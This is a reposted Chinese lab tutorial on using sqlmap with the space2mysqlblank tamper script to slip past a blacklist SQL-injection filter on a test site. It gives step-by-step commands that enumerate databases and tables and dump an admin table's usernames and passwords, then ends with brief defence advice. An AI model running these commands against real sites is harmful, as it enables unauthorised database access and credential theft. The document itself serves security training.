您的位置:首页 > 编程语言

利用Tamper绕过防注入代码进行注入(转自 i春秋 )

2015-06-09 18:43 417 查看
转载自:http://www.ichunqiu.com/course/38

实验环境

实验环境

操作机:
Windows XP

目标机:
Windows 2003


目标网址:
www.test.com

实验工具:
sqlmap注入工具


实验目的

本课程带领大家实验利用Tamper绕过防注入代码进行注入,使大家了解到绕过防注入脚本并非难事,需要提高自身SQL注入防御能力。

实验思路

手工检测判断注入点
利用Tamper绕过防注入代码
获取数据库信息
防御方案

实验步骤

1


手工检测判断注入点

注入点位置在网站的文章中心板块,打开文章中心中的第二篇文章“习近平:孔子学院属于中国 也属于世界”。

对地址
http://www.test.com/Art_Show.php?id=2
进行注入点判断。



在地址后加’来判断,提示有非法字符,说明有防注入代码。



替换判断语句为and 1=1 ,and 也被过滤。



替换语句 “-1”返回页面为上一篇文章,证明语句被执行,可以判断这是一个注入点,过滤了and等关键词,说明这是黑名单过滤防注入代码。



2


利用Tamper绕过防注入代码,进行注入

打开sqlmap,输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"
对注入点进行检测,
返回结果报错,提示这不是一个注入点,这是被过滤了。



现在利用Tamper对语句转意进行注入,绕过防注入代码 输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"
 --tamper " space2mysqlblank.py
注入成功,数据库信息出来了 。





3


获取数据库内信息

获取当前所在数据库输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper
 " space2mysqlblank.py" --current-db
当前数据库为
mys




获取所有数据库名称 输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper
 " space2mysqlblank.py" --dbs




获取当前数据库内所有表名称。

输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper " space2mysqlblank.py"
 -D mys --tables
,看到了
admin




获取admin表内的列名

输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper "space2mysqlblank.py"
 -D mys -T zzcms_admin --columns




获取name和password内的账户密码

输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper "space2mysqlblank.py"
 -D mys -T zzcms_admin -C name,password --dump


4


获取到账户密码



5


防御方案

1.普通用户与系统管理员的权限要有严格的区分

2.强迫使用参数化语句

3.加强对用户输入的验证

4.多使用数据库自带的安全参数

5.使用专业的漏洞扫描工具来寻找可能被攻击的点
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: